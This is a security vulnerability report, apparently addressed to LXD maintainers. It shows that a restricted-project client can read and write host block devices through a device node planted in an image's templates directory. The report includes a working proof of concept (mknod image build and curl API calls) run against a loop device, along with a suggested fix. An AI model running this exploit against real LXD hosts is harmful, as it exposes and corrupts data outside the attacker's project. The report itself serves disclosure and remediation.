Restricted project users can read and write host block devices through a device node in an image's templates directory
Description
A client restricted to a project (tested with a restricted TLS client certificate) can import an image whose templates/ directory contains a block or character device node. LXD extracts the node into the instance volume as a real device node. The instance template endpoints then open it as root on the host:
GET /1.0/instances/<name>/metadata/templates?path=<file>returns the contents of the host device the node refers to;POSTon the same URL writes the request body to that host device.
The attacker chooses the major/minor numbers, so the restricted user can target any host device by number from inside the restricted project.
This is the LXD counterpart of the issue Incus fixed in v7.6.0 (GHSA-5pgx-q9xx-j3qv, published 2026-10-29: special files, hard links and symlinks in the image or backup metadata area). It is also a gap in the earlier LXD fixes for GHSA-j825-cg34-5fr5 and GHSA-fv82-v4fj-mm4m: CheckMetadataFilesAreRegular checks only metadata.yaml and backup.yaml. I could not find an equivalent fix, advisory or open PR in LXD. The code below is from main at 63579a91 (2026-11-17). If you are already tracking this through coordination with Incus, please treat this report as a confirmation with a working reproduction for LXD.
Details
lxd/archive/archive.go,doUnpack(line 138): the only device-related exclusion (dev/*androotfs/dev/*) applies only when LXD runs in a user namespace (line 150).templates/is never filtered, and on a normal host tar runs as root and creates device nodes from the image.lxd/archive/archive.go,CheckMetadataFilesAreRegular(line 300): onlymetadata.yamlandbackup.yamlmust be regular files. Nothing checks the other entries of the metadata area, such astemplates/*.lxd/instance_metadata.go:
instanceMetadataTemplatesGet(line 358):templatesRoot.Open(templateName)(line 419), thenio.Copy(tempfile, template)(line 435), and the temp file is returned to the client.os.Rootprevents escaping the templates directory, but does not stop opening a device node.instanceMetadataTemplatesPost(line 492):templatesRoot.OpenFile(templateName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)(line 531), thenio.Copy(template, r.Body)(line 536).
lxd/instances.golines 150-151: GET needscan_viewand POST needscan_editon the instance, which the restricted client has for its own instances. The restricted client can also import images and create instances in its project.lxd/instance/drivers/driver_lxc.go,templateApplyNow(line 5618):checkTemplateSource(line 5710) rejects only symlinks, so a template declared inmetadata.yamlwould probably also be read from a device node when it is applied. I did not test this path.
Proof of concept
Run on GitHub Actions ubuntu-24.04 VMs (runner image 20261111.370.1), lxd init --auto (dir pool). It reproduced identically on LXD snap latest/edge (git-63579a9, LXD 7.0, the same commit as main above) and on latest/stable (6.10.1-f5c750d). The project had all features enabled (features.images, features.profiles, features.storage.volumes, features.storage.buckets, features.networks, features.networks.zones). To keep the test harmless, the target is a loop device backed by a 10 MB marker file, not a real disk.
Setup as the LXD admin:
lxc config set core.https_address 127.0.0.1:8443
lxc project create p1 -c restricted=true -c features.images=true -c features.profiles=true -c features.storage.volumes=true \
-c features.storage.buckets=true -c features.networks=true -c features.networks.zones=true
lxc profile device add default root disk path=/ pool=default --project p1
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:secp384r1 -nodes -days 1 -subj "/CN=restricted-tenant" -keyout c.key -out c.crt
lxc config trust add c.crt --restricted --projects p1
# the target: loop device over a marker file
head -c 10485760 /dev/zero > marker.img
printf 'LXDREPRO-MARKER-ORIGINAL-CONTENT' | dd of=marker.img conv=notrunc
LOOP=$(losetup -f --show marker.img) # e.g. /dev/loop3, 7:3Image built by the attacker (root is needed only on the attacker's own machine, to run mknod):
mkdir -p build/rootfs build/templates
echo hello > build/rootfs/hello
echo "regular template" > build/templates/ok.tpl
mknod build/templates/dev.tpl b 7 3
cat > build/metadata.yaml <<EOF
architecture: x86_64
creation_date: 1763431000
properties: {description: repro}
templates: {}
EOF
tar --numeric-owner -czf img.tar.gz -C build metadata.yaml rootfs templatesAs the restricted client (C() { curl -sk --cert c.crt --key c.key "$@"; }, API=https://127.0.0.1:8443/1.0; the two POSTs are async, so wait on each operation with GET $API/operations/<id>/wait):
C "$API/instances?project=default" # 403 "Certificate is restricted"
C -X POST -H "Content-Type: application/octet-stream" --data-binary @img.tar.gz "$API/images?project=p1"
C -X POST -H "Content-Type: application/json" -d '{"name":"c1","type":"container","source":{"type":"image","fingerprint":"<fp>"}}' "$API/instances?project=p1"
C "$API/instances/c1/metadata/templates?project=p1" # ["ok.tpl","dev.tpl"]
C "$API/instances/c1/metadata/templates?path=dev.tpl&project=p1" -o read.bin
printf 'WRITTEN-BY-RESTRICTED-TENANT' | C -X POST -H "Content-Type: application/octet-stream" --data-binary @- "$API/instances/c1/metadata/templates?path=dev.tpl&project=p1"Observed:
- Host view of the instance volume:
brw-r--r-- 1 root root 7, 3 .../storage-pools/default/containers/p1_c1/templates/dev.tpl. - Control (
ok.tpl): returnsregular template. read.binis 10485760 bytes and starts withLXDREPRO-MARKER-ORIGINAL-CONTENT, i.e. the contents of the host's loop device.- The POST returns 200, and on the host the loop device (and
marker.img) now starts withWRITTEN-BY-RESTRICTED-TENANT.
Impact
A client confined to a restricted project gets read and write access to host devices chosen by major/minor number, outside the project boundary. Pointing the node at the host's disk or partition, or at another project's block-backed volume, would expose and allow overwriting of data outside the project. I demonstrated this only on a loop device, but nothing in LXD checks which device the node refers to. No administrator action is needed after the restricted access is granted.
Limits I observed in the code:
- GET copies the whole device into a temporary file on the host before responding, so reading a large device needs that much temp space (and can exhaust it).
- POST writes from offset 0 (
O_TRUNChas no effect on a block device), so changing data deep in a device means rewriting everything before it, using data read first. Corrupting a device needs no such step.
I did not test real disks, other storage drivers (zfs, btrfs, lvm, ceph), fine-grained-authorization users, VMs, or the template-apply path.
Suggested fix:
- After unpacking an image or backup, walk the metadata area (everything except
rootfs/) and reject any entry that is not a regular file or directory, or that is a hard link (link count above 1). This is in the same spirit as the Incus fix for GHSA-5pgx-q9xx-j3qv. Alternatively, never extract device nodes, FIFOs or hard links outsiderootfs/, whether or not LXD runs in a user namespace. - In
instanceMetadataTemplatesGet,instanceMetadataTemplatesPostandtemplateApplyNow, refuse a template unlessLstatreports a regular file before opening, and re-check withfstatafter opening.
Suggested severity: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9), the same rating as other LXD advisories that give restricted users access outside their project (e.g. GHSA-q39m-8fx9-42fv). PR:L for a restricted-project client; S:C because the affected devices are on the host, outside the restricted project.
This report was prepared with AI assistance (Claude Code); the reproduction above was run on disposable CI VMs.
I (the reporter) reviewed this report and the PoC myself before submitting. Please feel free to adjust the severity or any part of this report as you see fit.